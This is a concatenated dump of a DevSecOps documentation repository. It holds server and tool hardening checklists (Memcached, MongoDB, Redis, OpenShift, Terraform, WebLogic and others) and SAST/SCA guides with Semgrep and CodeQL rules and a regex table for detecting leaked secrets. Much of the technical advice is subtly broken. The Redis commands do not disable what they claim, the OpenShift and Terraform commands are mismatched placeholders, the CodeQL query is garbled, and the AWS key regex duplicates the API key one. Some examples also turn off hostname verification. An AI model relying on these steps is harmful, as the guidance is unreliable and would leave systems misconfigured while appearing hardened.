`centralhttps://repo.maven.apache.org/maven2central` ### Verify PGP signatures Download the .asc file for each dependency and plugin from Maven Central and verify its PGP signature using the gpg --verify command. ### Limit repository access Only grant repository access to trusted users and machines. Limit access to write operations where possible. ### Use a private repository Set up a private Maven repository to store artifacts and dependencies that are not publicly available. This limits the risk of downloading compromised or malicious artifacts. ### Use Maven wrapper Use the `mvnw` script or `mvnw.cmd` script on Windows instead of relying on a system-wide installation of Maven. This ensures that the same version of Maven is used across all environments and reduces the risk of dependency conflicts. ### Scan for vulnerabilities Use a dependency scanner such as OWASP Dependency-Check or Snyk to scan for known vulnerabilities in your dependencies. ### Use least privilege Use the principle of least privilege to limit the permissions of your Maven build process. ### Enable verbose logging Enable verbose logging in Maven to capture more information about the build process. This can help diagnose issues and detect any suspicious behavior. ### Keep Maven up-to-date Keep Maven and its plugins up-to-date to ensure that security vulnerabilities are addressed in a timely manner. ================================================ FILE: docs/checklists/memcached.md ================================================ --- layout: default title: Memcached parent: Checklists --- # Memcached Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Memcached for DevSecOps ### Disable UDP listener ``` sed -i 's/^-U 0/#-U 0/g' /etc/sysconfig/memcached ``` ### Enable SASL authentication `sed -i 's/^#-S/-S/g' /etc/sysconfig/memcached`
`yum install cyrus-sasl-plain`
`htpasswd -c /etc/sasl2/memcached-sasldb username`
`chmod 600 /etc/sasl2/memcached-sasldb` ### Limit incoming traffic to known IP addresses ``` iptables -A INPUT -p tcp --dport 11211 -s 192.168.1.100 -j ACCEPT ``` ### Limit maximum memory usage ``` echo 'CACHESIZE="128"' > /etc/sysconfig/memcached ``` ### Run as non-root user ``` sed -i 's/^-u root/-u memcached/g' /etc/sysconfig/memcached ``` ### Enable logging `sed -i 's/^logfile/#logfile/g' /etc/sysconfig/memcached`
`mkdir /var/log/memcached`
`touch /var/log/memcached/memcached.log`
`chown memcached:memcached /var/log/memcached/memcached.log`
`sed -i 's/^#logfile/LOGFILE="\/var\/log\/memcached\/memcached.log"/g' /etc/sysconfig/memcached` ### Upgrade to the latest version ``` yum update memcached ``` ### Disable unused flags `sed -i 's/^-I 1m/#-I 1m/g' /etc/sysconfig/memcached`
`sed -i 's/^-a 0765/#-a 0765/g' /etc/sysconfig/memcached` ================================================ FILE: docs/checklists/mongodb.md ================================================ --- layout: default title: MongoDB parent: Checklists --- # MongoDB Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden MongoDB for DevSecOps ### Disable HTTP interface ``` sed -i '/httpEnabled/ s/true/false/g' /etc/mongod.conf ``` ### Enable authentication ``` sed -i '/security:/a \ \ \ \ authorization: enabled' /etc/mongod.conf ``` ### Set strong password for admin user ``` mongo admin --eval "db.createUser({user: 'admin', pwd: 'new_password_here', roles: ['root']})" ``` ### Disable unused network interfaces ``` sed -i '/net:/a \ \ \ \ bindIp: 127.0.0.1' /etc/mongod.conf ``` ### Enable access control ``` sed -i '/security:/a \ \ \ \ authorization: enabled' /etc/mongod.conf ``` ### Enable SSL/TLS encryption ``` mongod --sslMode requireSSL --sslPEMKeyFile /path/to/ssl/key.pem --sslCAFile /path/to/ca/ca.pem --sslAllowInvalidHostnames ``` ### Enable audit logging ``` sed -i '/systemLog:/a \ \ \ \ destination: file\n\ \ \ \ path: /var/log/mongodb/audit.log\n\ \ \ \ logAppend: true\n\ \ \ \ auditLog:\n\ \ \ \ \ \ \ \ destination: file\n\ \ \ \ \ \ \ \ format: JSON' /etc/mongod.conf ``` ### Set appropriate file permissions ``` chown -R mongodb:mongodb /var/log/mongodb
chmod -R go-rwx /var/log/mongodb ``` ### Disable unused MongoDB features ``` sed -i '/operationProfiling:/a \ \ \ \ mode: off' /etc/mongod.conf
sed -i '/setParameter:/a \ \ \ \ quiet: true' /etc/mongod.conf ``` ### Enable firewalls and limit access to MongoDB ports ``` ufw allow from 192.168.1.0/24 to any port 27017 proto tcp
ufw enable ``` ================================================ FILE: docs/checklists/mysql.md ================================================ --- layout: default title: MySQL parent: Checklists --- # MySQL Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden MySQL for DevSecOps ### Remove test database and anonymous user ``` mysql -u root -p -e "DROP DATABASE IF EXISTS test; DELETE FROM mysql.user WHERE User=''; DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1'); FLUSH PRIVILEGES;" ``` ### Limit access to the root user ``` mysql -u root -p -e "CREATE USER 'newuser'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON *.* TO 'newuser'@'localhost' WITH GRANT OPTION; FLUSH PRIVILEGES;" ``` ### Enable the query cache ``` mysql -u root -p -e "SET GLOBAL query_cache_size = 67108864; SET GLOBAL query_cache_type = ON;" ``` ### Disable remote root login Edit `/etc/mysql/mysql.conf.d/mysqld.cnf` and set `bind-address` to the IP address of the MySQL server, then restart MySQL: `systemctl restart mysql` ### Enable SSL for secure connections Edit `/etc/mysql/mysql.conf.d/mysqld.cnf` and add the following lines: `ssl-ca=/etc/mysql/certs/ca-cert.pem` `ssl-cert=/etc/mysql/certs/server-cert.pem ssl-key=/etc/mysql/certs/server-key.pem` Then restart MySQL: `systemctl restart mysql` ================================================ FILE: docs/checklists/nginx.md ================================================ --- layout: default title: Nginx parent: Checklists --- # Nginx Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Nginx for DevSecOps ### Disable server tokens ``` server_tokens off; ``` ### Set appropriate file permissions `chmod 640 /etc/nginx/nginx.conf` or `chmod 440 /etc/nginx/nginx.conf` depending on your setup ### Implement SSL/TLS with appropriate ciphers and protocols `ssl_protocols TLSv1.2 TLSv1.3;`
`ssl_ciphers HIGH:!aNULL:!MD5;` ### Enable HSTS ``` add_header Strict-Transport-Security "max-age=31536000; includeSubdomains; preload"; ``` ### Set up HTTP/2 `listen 443 ssl http2;` ### Restrict access to certain directories `location /private/ { deny all; }` ### Disable unnecessary modules Comment out or remove unused modules from `nginx.conf` file. ### Implement rate limiting ``` limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s; ``` ### Implement buffer overflow protection `proxy_buffer_size 128k;`
`proxy_buffers 4 256k;`
`proxy_busy_buffers_size 256k;` ### Implement XSS protection `add_header X-XSS-Protection "1; mode=block";` ================================================ FILE: docs/checklists/openshift.md ================================================ --- layout: default title: OpenShift parent: Checklists --- # OpenShift Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden OpenShift for DevSecOps ### Disable insecure protocols and ciphers ``` oc adm policy reconcile-cluster-role-binding ``` Enable authentication and RBAC ``` oc adm policy add-cluster-role-to-user ``` Limit privileged access to the cluster ``` oc adm policy add-scc-to-user ``` Enable audit logging ``` oc adm audit ``` Enforce resource limits and quotas ``` oc adm pod-network ``` Enable network policies for isolation ``` oc create networkpolicy ``` Configure container runtime security ``` oc adm policy add-scc-to-group ``` Secure etcd and master nodes ``` oc adm manage-node ``` Regularly update and patch OpenShift components ``` oc adm upgrade ``` Enable image signing and verification ``` oc image sign ``` Use secure registry for image pull ``` oc create secret ``` Enable encryption for data in transit ``` oc adm router ``` Harden worker node security ``` oc adm manage-node ``` Implement multi-factor authentication ``` oc adm policy ``` Enable centralized logging and monitoring ``` oc adm logs ``` ================================================ FILE: docs/checklists/redis.md ================================================ --- layout: default title: Redis parent: Checklists --- # Redis Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Redis for DevSecOps ### Disable the CONFIG command ``` redis-cli config set config-command " " ``` ### Disable the FLUSHDB and FLUSHALL commands ``` redis-cli config set stop-writes-on-bgsave-error yes ``` ### Enable authentication Set a password in the Redis configuration file (`redis.conf`) using the `requirepass` directive. Restart Redis service to apply changes. ### Bind Redis to a specific IP address Edit the `bind` directive in the Redis configuration file to specify a specific IP address. ### Enable SSL/TLS encryption Edit the `redis.conf` file to specify SSL/TLS options and certificate files. Restart Redis service to apply changes. ### Disable unused Redis modules Edit the `redis.conf` file to disable modules that are not needed. Use the `module-load` and `module-unload` directives to control modules. ### Set limits for memory and connections Edit the `maxmemory` and `maxclients` directives in the `redis.conf` file to set limits for Redis memory and connections. ### Monitor Redis logs Regularly check Redis logs for suspicious activities and errors. Use a log analyzer tool to help detect anomalies. ### Regularly update Redis Keep Redis up-to-date with the latest security patches and updates. Monitor vendor security advisories for any vulnerabilities that may affect Redis. ================================================ FILE: docs/checklists/saltstack.md ================================================ --- layout: default title: SaltStack parent: Checklists --- # SaltStack Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden SaltStack for DevSecOps ### Generate SSL certificates for SaltStack communication ``` salt-call --local tls.create_self_signed_cert ``` ### Enable SSL encryption for SaltStack communication by updating the Salt master configuration file ``` # /etc/salt/master ssl_cert: /etc/pki/tls/certs/salt.crt ssl_key: /etc/pki/tls/private/salt.key ``` ### Disable unnecessary services and open ports Disable unused services and close unnecessary ports on Salt Master and Salt Minions ### Restrict network access Configure firewalls or network ACLs to allow access only from trusted sources ### Manage Salt Minion keys securely Properly distribute, manage, and secure Salt Minion keys ### Implement strong authentication Utilize strong passwords or key-based authentication for Salt Master and Minion access ### Secure Salt Minions - [x] Securely distribute and manage Salt Minion keys. - [x] Disable unnecessary services and open ports on Salt Minions. - [x] Restrict network access to Salt Minions using firewalls or network ACLs. - [x] Enable authentication mechanisms, such as TLS/SSL, for secure communication. - [x] Implement strong passwords or key-based authentication for Salt Minion access. - [x] Regularly update Salt Minions to the latest stable version. - [x] Enable logging on Salt Minions and monitor logs for security events. ================================================ FILE: docs/checklists/sbom.md ================================================ --- layout: default title: SBOM parent: Checklists --- # SBOM Security Checklist for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to SBOM for DevSecOps ### Generate SBOM for your software ``` cyclonedx-bom -o sbom.xml ``` ### Validate the generated SBOM ``` bom-validator sbom.xml ``` ### Integrate SBOM generation in CI/CD pipeline ``` Add SBOM generation step in CI/CD script ``` ### Regularly update the SBOM tools ``` apt-get update && apt-get upgrade cyclonedx-bom ``` ### Review and analyze SBOM for vulnerabilities ``` sbom-analyzer sbom.xml ``` ### Ensure SBOM is comprehensive and includes all components ``` Review SBOM and add missing components ``` ### Protect SBOM data with proper access controls ``` Configure access controls for SBOM data ``` ### Monitor and update SBOM for each release ``` Automate SBOM update for each release ``` ================================================ FILE: docs/checklists/squid.md ================================================ --- layout: default title: Squid parent: Checklists --- # Squid Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Squid for DevSecOps ### Disable HTTP TRACE method ``` acl HTTP-methods method TRACE
http_access deny HTTP-methods ``` ### Limit maximum object size ``` maximum_object_size 1 MB ``` ### Enable access logging ``` access_log /var/log/squid/access.log ``` ### Limit client connections `acl clients src 192.168.1.0/24`
`http_access allow clients`
`http_max_clients 50` ### Restrict allowed ports `acl Safe_ports port 80 443 8080`
`http_access deny !Safe_ports` ================================================ FILE: docs/checklists/terraform.md ================================================ --- layout: default title: Terraform parent: Checklists --- # Terraform Security Checklist for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to Terraform for DevSecOps ### Enable detailed audit logging ``` terraform apply -var 'logging=true' ``` ### Encrypt state files ``` terraform apply -var 'encrypt=true' ``` ### Use a strong backend access policy ``` terraform apply -backend-config="..." ``` ### Limit the permissions of automation accounts ``` terraform apply -var 'permissions=limited' ``` ### Rotate secrets and access keys regularly ``` terraform apply -var 'rotate_secrets=true' ``` ### Use version constraints in configuration files ``` terraform apply -var 'version=..." ``` ### Validate configuration files before applying ``` terraform validate ``` ### Regularly update Terraform and providers ``` terraform init -upgrade ``` ================================================ FILE: docs/checklists/tomcat.md ================================================ --- layout: default title: Tomcat parent: Checklists --- # Tomcat Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Tomcat for DevSecOps ### Disable unused connectors Modify `server.xml` to remove the connectors not in use, e.g.: ``` ``` ### Use secure HTTPS configuration Modify `server.xml` to enable HTTPS and configure SSL/TLS, e.g.: ``` ``` ### Disable version information in error pages Modify `server.xml` to add the following attribute to the `` element: ``` errorReportValveClass="org.apache.catalina.valves.ErrorReportValve" showReport="false" showServerInfo="false" ``` ### Use secure settings for Manager and Host Manager Modify `tomcat-users.xml` to add roles and users with the appropriate permissions, e.g.: ``` ``` ### Use secure settings for access to directories Modify `context.xml` to add the following element to the `` element: ``` ``` ================================================ FILE: docs/checklists/weblogic.md ================================================ --- layout: default title: Weblogic parent: Checklists --- # Weblogic Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Weblogic for DevSecOps ### Disable default accounts and passwords ``` wlst.sh $WL_HOME/common/tools/configureSecurity.py -removeDefaultConfig ``` ### Use secure administration port ``` wlst.sh $WL_HOME/common/tools/configureSecurity.py -securityModel=OPSS -defaultRealm -realmName=myrealm -adminPortEnabled=true -adminPort=9002 -sslEnabled=true -sslListenPort=9003 ``` ### Enable secure communications between servers ``` wlst.sh $WL_HOME/common/tools/configureSSL.py -action=create -identity keystore.jks -identity_pwd keystorepassword -trust keystore.jks -trust_pwd keystorepassword -hostName myhost.example.com -sslEnabledProtocols TLSv1.2 -enabledProtocols TLSv1.2 -keystoreType JKS -server SSL ``` ### Enable secure connections for JDBC data sources ``` wlst.sh $WL_HOME/common/tools/config/jdbc/SecureJDBCDataSource.py -url jdbc:oracle:thin:@//mydb.example.com:1521/HR -name myDataSource -user myuser -password mypassword -target myServer -trustStore myTrustStore.jks -trustStorePassword myTrustStorePassword -identityStore myIdentityStore.jks -identityStorePassword myIdentityStorePassword ``` ### Restrict access to WebLogic console Add `` and `` elements in `$DOMAIN_HOME/config/fmwconfig/system-jazn-data.xml` file ### Enable Secure Sockets Layer (SSL) for Node Manager ``` wlst.sh $WL_HOME/common/tools/configureNodeManager.py -Dweblogic.management.server=http://myserver.example.com:7001 -Dweblogic.management.username=myusername -Dweblogic.management.password=mypassword -Dweblogic.NodeManager.sslEnabled=true -Dweblogic.NodeManager.sslHostnameVerificationIgnored=true -Dweblogic.NodeManager.KeyStores=CustomIdentityAndJavaTrust ``` ================================================ FILE: docs/checklists/webservice ================================================ --- layout: default title: Webservice parent: Checklists --- # Webservice Security Checklist for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to Webservice for DevSecOps | 7 | Protect against SQL Injection | | | 8 | Monitor and analyze web service logs | `` | | 9 | Implement rate limiting | `` | | 10 | Secure cookies | `` | | 11 | Disable directory listing | `Options -Indexes` | | 12 | Set X-Frame-Options header | `Header always set X-Frame-Options DENY` | | 13 | Set X-Content-Type-Options header | `Header always set X-Content-Type-Options nosniff` | | 14 | Set X-XSS-Protection header | `Header always set X-XSS-Protection "1; mode=block"` | | 15 | Disable unused modules and features | Disable unused modules in web service configuration | | 16 | Ensure proper access controls | Configure proper access controls | | 17 | Implement network segmentation | Configure network segmentation | | 18 | Use a secure configuration for the web server | Apply secure configuration settings | | 19 | Regularly scan for vulnerabilities | Use a vulnerability scanner | | 20 | Ensure proper error handling | Configure custom error pages | | 21 | Implement security headers | `Header always set Strict-Transport-Security "max-age=31536000"` | | 22 | Use secure ciphers and protocols | Configure secure ciphers and protocols | | 23 | Regularly audit access and activity logs | Schedule regular audits of logs | | 24 | Backup web service configurations and data | Schedule regular backups | | 25 | Educate and train staff on security best practices | Conduct regular security training sessions | ### Enable HTTPS ``` openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 ``` ### Configure Content Security Policy (CSP) ``` Header set Content-Security-Policy "default-src 'self';" ``` ### Limit HTTP methods ``` AllowMethods GET POST ``` ### Enable Web Application Firewall (WAF) ``` mod_security on ``` ### Regularly update web service software ``` apt-get update && apt-get upgrade ``` ### Implement input validation ``` Implement server-side input validation ``` ### Protect against SQL Injection ``` Use parameterized queries ``` ### Monitor and analyze web service logs ``` tail -f /var/log/webservice.log ``` ### Implement rate limiting ``` LimitRequestRate 20 5 ``` ### Secure cookies ``` Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure ``` ### Disable directory listing ``` Options -Indexes ``` ### Set X-Frame-Options header ``` Header always set X-Frame-Options DENY ``` ### Set X-Content-Type-Options header ``` Header always set X-Content-Type-Options nosniff ``` ### Set X-XSS-Protection header ``` Header always set X-XSS-Protection "1; mode=block" ``` ### Disable unused modules and features ``` Disable unused modules in web service configuration ``` ### Ensure proper access controls ``` Configure proper access controls ``` ### Implement network segmentation ``` Configure network segmentation ``` ### Use a secure configuration for the web server ``` Apply secure configuration settings ``` ### Regularly scan for vulnerabilities ``` Use a vulnerability scanner ``` ### Ensure proper error handling ``` Configure custom error pages ``` ### Implement security headers ``` Header always set Strict-Transport-Security "max-age=31536000" ``` ### Use secure ciphers and protocols ``` Configure secure ciphers and protocols ``` ### Regularly audit access and activity logs ``` Schedule regular audits of logs ``` ### Backup web service configurations and data ``` Schedule regular backups ``` ### Educate and train staff on security best practices ``` Conduct regular security training sessions ``` ================================================ FILE: docs/code/code.md ================================================ --- layout: default title: Code nav_order: 3 has_children: true permalink: docs/code --- # Code {: .no_toc } {: .fs-6 .fw-300 } ================================================ FILE: docs/code/sast.md ================================================ --- layout: default title: SAST parent: Code --- # SAST {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- SAST, or Static Application Security Testing, is a technique used in application security to analyze the source code of an application for security vulnerabilities. SAST tools work by scanning the source code of an application without actually executing the code, searching for common coding errors, security flaws, and potential vulnerabilities. SAST is a type of white-box testing, meaning that it relies on the tester having access to the source code of the application being tested. This allows SAST tools to perform a thorough analysis of the codebase, identifying potential vulnerabilities that may not be apparent through other testing techniques. | SAST Tool | Description | Languages Supported | |:---------------|:---------------------|:---------------------| | `Checkmarx` | A SAST tool that analyzes source code for security vulnerabilities, providing real-time feedback to developers on potential issues. | Java, .NET, PHP, Python, Ruby, Swift, C/C++, Objective-C, Scala, Kotlin, JavaScript | | `SonarQube` | A tool that provides continuous code inspection, identifying and reporting potential security vulnerabilities, as well as code quality issues. | Over 25 programming languages, including Java, C/C++, Python, JavaScript, PHP, Ruby | | `Fortify Static Code Analyzer` | A SAST tool that analyzes source code for security vulnerabilities, providing detailed reports and recommendations for improving security. | Java, .NET, C/C++, Python, JavaScript | | `Veracode Static Analysis` | A SAST tool that analyzes code for security vulnerabilities and compliance with industry standards, providing detailed reports and actionable recommendations. | Over 25 programming languages, including Java, .NET, Python, Ruby, PHP, JavaScript, C/C++ | | `Semgrep` | Semgrep is designed to be fast and easy to use, and it supports multiple programming languages, including Python, Java, JavaScript, Go, and more. It uses a simple pattern matching language to identify patterns of code that are known to be vulnerable, and it can be configured to scan specific parts of a codebase, such as a single file or a directory. | Over 25 programming languages, including Java, .NET, Python, Ruby, PHP, JavaScript, C/C++ | | `CodeQL` | CodeQL is based on a database of semantic code representations that allows it to perform complex analysis on code that other static analysis tools may miss. It supports a wide range of programming languages, including C, C++, C#, Java, JavaScript, Python, and more. CodeQL can be used to analyze both open source and proprietary code, and it can be used by both developers and security researchers. | Over 25 programming languages, including Java, .NET, Python, Ruby, PHP, JavaScript, C/C++ | ## Semgrep Semgrep is designed to be fast and easy to use, and it supports multiple programming languages, including Python, Java, JavaScript, Go, and more. It uses a simple pattern matching language to identify patterns of code that are known to be vulnerable, and it can be configured to scan specific parts of a codebase, such as a single file or a directory. Semgrep can be used as part of the software development process to identify vulnerabilities early on, before they can be exploited by attackers. It can be integrated into a CI/CD pipeline to automatically scan code changes as they are made, and it can be used to enforce security policies and coding standards across an organization. create a sample rule. Here are the steps: 1. Install and set up Semgrep: To use Semgrep, you need to install it on your system. You can download Semgrep from the official website, or install it using a package manager like pip. Once installed, you need to set up a project and configure the scan settings. 2. Create a new Semgrep rule: To create a new Semgrep rule, you need to write a YAML file that defines the rule. The YAML file should contain the following information: * The rule ID: This is a unique identifier for the rule. * The rule name: This is a descriptive name for the rule. * The rule description: This describes what the rule does and why it is important. * The rule pattern: This is the pattern that Semgrep will use to search for the vulnerability. * The rule severity: This is the severity level of the vulnerability (e.g. high, medium, low). * The rule language: This is the programming language that the rule applies to (e.g. Python, Java, JavaScript). * The rule tags: These are optional tags that can be used to categorize the rule. Here is an example rule that checks for SQL injection vulnerabilities in Python code: ``` id: sql-injection-py name: SQL Injection in Python Code description: Checks for SQL injection vulnerabilities in Python code. severity: high language: python tags: - security - sql-injection patterns: - pattern: | db.execute("SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'") message: | SQL injection vulnerability found in line {line}: {code} ``` 3. Run Semgrep with the new rule: Once you have created the new rule, you can run Semgrep to scan your code. To run Semgrep, you need to specify the path to the code you want to scan and the path to the YAML file that contains the rule. Here is an example command: ``` semgrep --config path/to/rule.yaml path/to/code/ ``` 4. Review the scan results: After the scan is complete, Semgrep will display the results in the terminal. The results will include information about the vulnerabilities that were found, including the severity level, the location in the code where the vulnerability was found, and the code that triggered the rule. how to use Semgrep in a CI/CD pipeline on GitHub: 1. Set up Semgrep in your project: To use Semgrep in your CI/CD pipeline, you need to install it and set it up in your project. You can do this by adding a semgrep.yml file to your project's root directory. The semgrep.yml file should contain the rules that you want to apply to your codebase. Here is an example semgrep.yml file that checks for SQL injection vulnerabilities in Python code: ``` rules: - id: sql-injection-py pattern: db.execute("SELECT * FROM users WHERE username = $username AND password = $password") ``` 2. Create a GitHub workflow: Once you have set up Semgrep in your project, you need to create a GitHub workflow that runs Semgrep as part of your CI/CD pipeline. To create a workflow, you need to create a .github/workflows directory in your project and add a YAML file that defines the workflow. Here is an example semgrep.yml workflow that runs Semgrep on every push to the master branch: ``` name: Semgrep on: push: branches: - master jobs: semgrep: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v2 - name: Run Semgrep uses: returntocorp/semgrep-action@v1 with: args: -c semgrep.yml ``` 3. Push changes to GitHub: Once you have created the workflow, you need to push the changes to your GitHub repository. This will trigger the workflow to run Semgrep on your codebase. 4. Review the results: After the workflow has completed, you can review the results in the GitHub Actions tab. The results will include information about the vulnerabilities that were found, including the severity level, the location in the code where the vulnerability was found, and the code that triggered the rule. ## CodeQL CodeQL is based on a database of semantic code representations that allows it to perform complex analysis on code that other static analysis tools may miss. It supports a wide range of programming languages, including C, C++, C#, Java, JavaScript, Python, and more. CodeQL can be used to analyze both open source and proprietary code, and it can be used by both developers and security researchers. To use CodeQL, developers write queries in a dedicated query language called QL. QL is a declarative language that allows developers to express complex analyses in a concise and understandable way. Queries can be written to check for a wide range of issues, such as buffer overflows, SQL injection vulnerabilities, race conditions, and more. CodeQL can be integrated into a variety of development tools, such as IDEs, code review tools, and CI/CD pipelines. This allows developers to run CodeQL automatically as part of their development process and catch issues early in the development cycle. Here is an example of how to create a CodeQL rule and run it: 1. Identify the issue: Let's say we want to create a CodeQL rule to detect SQL injection vulnerabilities in a Java web application. 2. Write the query: To write the query, we can use the CodeQL libraries for Java and the CodeQL built-in functions for detecting SQL injection vulnerabilities. Here is an example query: ``` import java class SqlInjection extends JavaScript { SqlInjection() { this = "sql injection" } from MethodCall call, DataFlow::PathNode arg, SQL::StringExpression sqlExpr where call.getMethod().getName() = "executeQuery" and arg = call.getArgument(1) and arg = sqlExpr.getAnOperand() and exists (SQL::TaintedFlow tainted | tainted = dataFlow::taintThrough(arg, tainted) and tainted.(SQL::Source) and tainted.(SQL::Sink) ) select call, "Potential SQL injection vulnerability" } ``` This query looks for calls to the executeQuery method with a string argument that can be tainted with user input, and then checks if the argument is used in a way that could lead to a SQL injection vulnerability. If a vulnerability is detected, the query returns the call and a message indicating the potential vulnerability. 3. Test the query: To test the query, we can run it against a small sample of our codebase using the CodeQL CLI tool. Here is an example command: ``` $ codeql query run --database=MyAppDB --format=csv --output=results.csv path/to/query.ql ``` This command runs the query against a CodeQL database named MyAppDB and outputs the results to a CSV file named results.csv. 4. Integrate the query: To integrate the query into our development process, we can add it to our CodeQL database and run it automatically as part of our CI/CD pipeline. This can be done using the CodeQL CLI tool and the CodeQL GitHub Action. Here is an example command to add the query to our CodeQL database: ``` $ codeql database analyze MyAppDB --queries=path/to/query.ql ``` And here is an example GitHub Action workflow to run the query automatically on every push to the master branch: ``` name: CodeQL on: push: branches: [ master ] pull_request: branches: [ master ] jobs: build: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/ ``` ## Git 1- Scan a Git Repository: ``` gitleaks --repo=/path/to/repository ``` or ``` trufflehog --regex --entropy=True /path/to/repository ``` 2- Specify Rules and Configurations ``` gitleaks --config=/path/to/config.yaml ``` 3- Generate an HTML report of the scan results ``` trufflehog --regex --entropy=True --output=results.html /path/to/repository ``` 4- Generate JSON output for further processing or reporting ``` trufflehog --json --output=results.json /path/to/repository ``` Regex List: | SAST Tool | Description | Languages Supported | |:---------------|:---------------------|:---------------------| | `API Keys` | Matches potential API keys, which are typically a combination of uppercase letters or alphanumeric characters with a minimum length of 24 characters. | `(?:\b|_)(?:[A-Z]{2,}|\w{24,})(?:\b|_)` | | `AWS Access Keys` | Matches potential API keys, which are typically a combination of uppercase letters or alphanumeric characters with a minimum length of 24 characters. | `(?:\b|_)(?:[A-Z]{2,}|\w{24,})(?:\b|_)` | | `Cryptocurrency Wallets` | Matches popular cryptocurrency wallet addresses, including Bitcoin (BTC), Ethereum (ETH), Litecoin (LTC), Monero (XMR), and Dogecoin (DOGE). | `(?i)(?:btc|bitcoin|eth|ethereum|ltc|litecoin|xmr|monero|doge|dogecoin)(?:[1-9A-HJ-NP-Za-km-z]{25,34})` | | `Email Addresses` | Matches email addresses with alphanumeric characters, dots, underscores, hyphens, and a domain with at least two letters. | `[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}` | | `Private Keys` | Matches 40-character base64-encoded strings, often used for private keys. | `(?:[^a-zA-Z0-9/+]|^)([a-zA-Z0-9/+]{40})(?:[^a-zA-Z0-9/+]|$)` | | `Passwords` | Matches passwords or passphrases of at least 8 characters, preceded by "password", "passphrase", or "secret" and followed by a whitespace character, colon, or URL-encoded colon (%3A). | `(?i)(?:pass(?:word|phrase)|secret)(?:[\s:=]|%3A)(["']?[\w!@#$%^&*()]{8,}["']?)` | | `Social Security Numbers (SSN)` | Matches U.S. Social Security Numbers with or without dashes. | `\d{3}[-]?\d{2}[-]?\d{4}` | | `URLs with Query Parameters` | Matches URLs with query parameters, ensuring that the query parameter contains at least one character. | `(http|https):\/\/[^\s/$.?#].[^\s]*\?[^\s]*` | | `Credit Card Numbers` | Matches 16-digit credit card numbers, with or without dashes or spaces in the format XXXX-XXXX-XXXX-XXXX or XXXXXXXXXXXXXXXX. | `(\d{4}[- ]){3}\d{4}|\d{16}` | ## SBOM 1- Generate SBOM from Maven Project: ``` mvn org.cyclonedx:cyclonedx-maven-plugin:makeBom ``` 2- Generate SBOM from Gradle Project ``` ./gradlew cyclonedx ``` 3- Specify Output Format ``` mvn org.cyclonedx:cyclonedx-maven-plugin:makeBom --format XML ``` 4- Include Hashes in SBOM ``` mvn org.cyclonedx:cyclonedx-maven-plugin:makeBom -DincludeHashes=true ``` 5- Exclude Specific Components ``` mvn org.cyclonedx:cyclonedx-maven-plugin:makeBom -Dexclude=com.example:unused-component ``` 6- Include Direct Dependencies Only ``` mvn org.cyclonedx:cyclonedx-maven-plugin:makeBom -DincludeDependencies=false ``` 7- Specify Output File ``` mvn org.cyclonedx:cyclonedx-maven-plugin:makeBom -DoutputFile=/path/to/bom.xml ``` 8- Specify Output Format ``` mvn org.cyclonedx:cyclonedx-maven-plugin:makeBom --format XML ``` ## Retire.js You can use the Retire.js CLI to scan a directory or a specific JavaScript file. Here's an example command to scan a directory: ``` retire --path ``` ================================================ FILE: docs/code/sca.md ================================================ --- layout: default title: SCA parent: Code --- # SCA {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- SCA stands for Software Composition Analysis. It is a type of application security testing that focuses on identifying and managing third-party components and dependencies used within an application. SCA tools scan an application's codebase and build artifacts to identify any third-party libraries or components, and then assess those components for known security vulnerabilities or other issues. the SCA process typically involves the following steps: 1. **Discovery**: The SCA tool scans the application's codebase and build artifacts to identify any third-party libraries or components used within the application. 2. **Inventory**: The SCA tool creates an inventory of all the third-party components and libraries used within the application, including their versions, license types, and any known security vulnerabilities or issues. 3. **Assessment**: The SCA tool assesses each component in the inventory for known security vulnerabilities or other issues, using sources such as the National Vulnerability Database (NVD) and Common Vulnerabilities and Exposures (CVE) databases. 4. **Remediation**: Based on the results of the assessment, the SCA tool may provide recommendations for remediation, such as upgrading to a newer version of a component, or switching to an alternative component that is more secure. By performing SCA, organizations can gain visibility into the third-party components and libraries used within their applications, and can proactively manage any security vulnerabilities or issues associated with those components. This can help to improve the overall security and resilience of the application. SCA tools work by scanning your codebase and identifying the open source components that are used in your application. They then compare this list against known vulnerabilities in their database and alert you if any vulnerabilities are found. This helps you to manage your open source components and ensure that you are not using any vulnerable components in your application. | SCA Tool | Description | Languages Supported | |:---------------|:---------------------|:---------------------| | `Sonatype Nexus Lifecycle ` | A software supply chain automation and management tool | Java, .NET, Ruby, JavaScript, Python, Go, PHP, Swift | | `Black Duck` | An open source security and license compliance management tool | Over 20 languages including Java, .NET, Python, Ruby, JavaScript, PHP | | 